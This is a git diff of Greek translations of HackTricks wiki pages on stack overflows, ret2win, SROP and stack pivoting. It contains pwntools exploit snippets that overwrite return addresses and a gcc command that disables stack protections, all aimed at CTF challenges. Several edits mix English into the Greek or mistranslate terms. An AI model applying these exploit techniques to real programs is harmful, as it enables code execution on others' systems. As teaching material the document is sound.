-- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
+- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί `exit`. Η επιλεγμένη syscall είναι μια `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
-- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
+- SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index a33b1e534..53e56e1bc 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -4,13 +4,13 @@
## Τι είναι το Stack Overflow
-Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, στην αναστάτωση της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
+Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
-Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως είναι σε θέση να επικαλύψει άλλα μέρη του stack.
+Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.
-Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
+Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρηθέν.
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
```c
@@ -27,7 +27,7 @@ printf("You entered: %s\n", buffer);
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους \_n**\_\*\* εμφανίζεται ακριβώς μία φορά\*\* ως συνεχής υποακολουθία.
-Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύπτουν.
+Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να το επικαλύψουν.
Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
```python
@@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Εκμετάλλευση Στοίβας Υπερχείλισης
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
-Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
+Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη.
-Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
+Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλυπτική κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
### Ret2win
-Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέφει, η κρυφή συνάρτηση θα κληθεί:
+Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
{{#ref}}
ret2win/
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 6fd7e51fe..9697b919d 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,11 +4,11 @@
## Basic Information
-Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
+Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία σε διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
### C Example
-Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε:
+Consider a simple C program with a vulnerability and a `win` function that we intend to call:
```c
#include
#include
@@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
-Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο στοίβασμα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
+Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο stack και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
- `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
-### Python Exploit χρησιμοποιώντας Pwntools
+### Python Exploit using Pwntools
Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`.
```python
@@ -59,7 +59,7 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε:
+Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, θα μπορούσατε να χρησιμοποιήσετε:
```sh
objdump -d vulnerable | grep win
```
@@ -69,8 +69,8 @@ objdump -d vulnerable | grep win
## Προστασίες
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
## Άλλα παραδείγματα & Αναφορές
@@ -86,15 +86,15 @@ objdump -d vulnerable | grep win
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
+- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
+- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win)
+- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσει τη συνάρτηση win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις
+- arm64, PIE, δίνει μια διαρροή PIE, η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις, οπότε ROP gadget που καλεί 2 συναρτήσεις
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one για να καλέσει μια συνάρτηση win
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index b72f4e16a..ce07a5e9b 100644
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -12,14 +12,14 @@ mov ebp, esp
pop ebp
ret
```
-Και καθώς το **EBP είναι στη στοίβα** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
+And as the **EBP είναι στο stack** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.
### EBP2Ret
-Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το μητρώο EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το μητρώο EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
+Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
-Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτήν την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
-Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτήν όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
+Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
+Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
#### Κατασκευή Εκμετάλλευσης
@@ -27,25 +27,25 @@ ret
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
-- Μια έγκυρη διεύθυνση [**ONE_GADGET**](https://github.com/david942j/one_gadget).
+- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
-- Μερική [**ROP**](../rop-return-oriented-programing/) αλυσίδα.
+- Μερική [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
-#### Εκμετάλλευση Off-By-One
+#### Off-By-One Εκμετάλλευση
-Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
+Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση για να πηδήξει με το **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
-Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική αλυσίδα ROP εκτελείται.
+Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.
### **EBP Chaining**
-Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από τη στοίβα**.
+Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` του stack και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από το stack**.
-Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
+Τώρα, το **`ESP`** είναι ελεγχόμενο δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή προς εκτέλεση είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
- **`system()`** -> Καλείται από το `ret`
@@ -54,9 +54,9 @@ ret
Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
-Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
+Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
-Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
+Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **stack leak** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
```python
from pwn import *
@@ -92,12 +92,12 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-## EBP ίσως να μην χρησιμοποιείται
+## EBP μπορεί να μην χρησιμοποιείται
-Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\
-Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο.
+As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
+This is because the **prologue and epilogue changes** if the binary is optimized.
-- **Μη βελτιστοποιημένο:**
+- **Not optimized:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@@ -215,7 +215,7 @@ ret
> [!CAUTION]
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό.
-Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
+Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
